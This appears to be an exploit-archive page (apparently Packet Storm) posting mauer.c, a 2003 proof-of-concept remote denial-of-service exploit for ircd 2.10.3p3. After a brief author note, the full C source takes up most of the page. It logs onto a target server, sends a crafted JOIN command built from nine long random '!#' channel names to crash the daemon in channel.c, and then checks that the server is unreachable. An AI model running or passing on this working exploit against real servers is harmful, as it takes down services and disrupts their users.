exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mauer.c

mauer.c
Posted Oct 16, 2003
Authored by millhouse

Remote irc2.10.3p3 denial of service exploit that makes use of a bug in channel.c that occurs when handling a specially crafted JOIN command.

tags | remote, denial of service
SHA-256 | 18f6234073b0b9e3dee6ac4c1f1e73da9b5b1b8677fc854041399955b816fd70

mauer.c

Change Mirror Download
Hello, including this mail is an IRCd remote DOS exploit written by me as a proof of concept.
It works without problems on a default setup of ircd version 2.10.3p3. I didnt had the time to
check it on older versions, but it seems all versions 2.10.x supporting !channels are vulnerable.

This bug got fixed in version 2.10.3p4. Some new bugs in p4 got discovered and p5 was released
a few days after this. For more informations check out: ftp://ftp.irc.org/irc/server/ChangeLog

millhouse@dsns.net

---------------------------------------------------------------------------------------------------------------------------------------------
mauer.c
/** irc2.10.3p3 and maybe below remote DOS exploit by millhouse **

Exploit uses a bug in channel.c that happens while handling
a specially crafted JOIN command.

Program received signal SIGSEGV, Segmentation fault.
0x40108f05 in strcat () from /lib/libc.so.6

As u can see the overflow happens while dealing with strcat().
After a few hours of debugging and testing i'll carefully say
that there is no way to control the functions EIP to make a
code execution possible.

I didnt checked for this bug in other/modified versions of the
IRC deamon so its possible that some of them are vulnerable too.
Smarties should read the coredump to get more informations.

Greets to: servie - (the man with the drastic knowledge)
0 - (helper in asm and debuggin' things)
lordi - (also known as erklärbär)
error - (i promised it)
chosenOne, lexxor, hidro, tgt, mspcshl, coco, tobias...

THIS IS A PROOF OF CONCEPT. HANDLE THIS SOURCE WITH CARE!
/*********************************************07\\10\\2003*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <getopt.h>
#include <netdb.h>

int sckfd;
int sockopen(char *host, int port)
{
struct sockaddr_in addr;
struct hostent *he;
he=gethostbyname(host);

if (he==NULL)
{
fprintf(stderr, "[-] cant handle host ..\n");
exit(1);
}

memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);

sckfd = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if(connect(sckfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) sckfd=-1;

return sckfd;
}

char *makestring(int len)
{
char *tmp;
int i;
tmp = (char*) malloc(len+1);
memset(tmp,0,len+1);
for (i=0;i<len;i++) tmp[i]=(random()%(122-97))+97;
return tmp;
}

void usage(char *pname)
{
fprintf(stderr, "usage: %s -hp\n", pname);
fprintf(stderr, "\t-h <host/ip> of the ircd\n\t-p <port> default is 6667\n\n");
fprintf(stderr, "\tremember that the IP the exploit is running at must\n");
fprintf(stderr, "\tmatch to a servers I-Line, else this exploit will fail..\n\n");
exit(1);
}

int main(int argc, char *argv[])
{
int opt,i;
int port=6667;
char host[256];
char request[1024], buffer[600];
char reply[2000];
char *name, *string;
struct sockaddr_in addr;
struct hostent *he;
srandom(time(NULL));

fprintf(stdout, "irc2.10.3p3 remote dos exploit delivered by millhouse\n");
fprintf(stdout, "-----------------------------------------------------\n");

memset(host, 0x00, sizeof(host));
memset(request, 0x00, sizeof(request));
memset(buffer, 0x00, sizeof(buffer));
memset(reply, 0x00, sizeof(reply));

while((opt=getopt(argc,argv,"h:p:")) !=EOF)
{
switch(opt)
{
case 'h':
strncpy(host, optarg, sizeof(host)-1);
break;
case 'p':
port=atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}

if(argc < 2)
{
usage(argv[0]);
}

if((port <= 0) || (port > 65535))
{
fprintf(stderr,"[-] invalid port ..\n");
exit(1);
}

sckfd=sockopen(host, port);

if(sckfd < 0)
{
fprintf(stderr, "[-] cant connect to %s:%d ..\n", host, port);
exit(1);
}

fprintf(stdout, "[x] connected to %s:%d ..\n", host, port);

name = makestring(9);
fprintf(stdout, "[x] trying to logon with nick %s ..\n", name);
snprintf(request, sizeof(request) -1, "USER %s localhost localhost mauer\r\n"
"NICK %s\r\n",name, name);

write(sckfd, request, strlen(request));

// checks simply if we are allowed to connect or not, a restricted
// connection doesn't bother us.
while(1)
{
recv(sckfd, reply, sizeof(reply), 0);
if(strstr(reply, "ERROR"))
{
fprintf(stderr, "[-] we dont have access, exploit failed ..\n");
exit(1);
}
if(strstr(reply, "MOTD"))
{
fprintf(stdout, "[x] we're logged on, sending evil data ..\n");
break;
}
}

// lets build the join comand and pull it out. open your
// eyes, the root of all evil..
for(i=0;i<9;i++)
{
string = makestring(50);
strcat(buffer, "!#");
strcat(buffer, string);
strcat(buffer, ",");
}

string = makestring(5);
strcat(buffer, "#");
strcat(buffer, string);

snprintf(request, sizeof(request) -1, "JOIN %s\r\n", buffer);
write(sckfd, request, strlen(request));

close(sckfd);
sleep(5);

if (sockopen(host, port) > 0) {
fprintf(stderr, "[-] exploit failed, exiting ..\n");
close(sckfd);
exit(1);
}

fprintf(stdout, "[x] exploit worked, irc unreachable ..\n");
return 0;
}


Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    10 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    23 Files
  • 8
    Dec 8th
    19 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close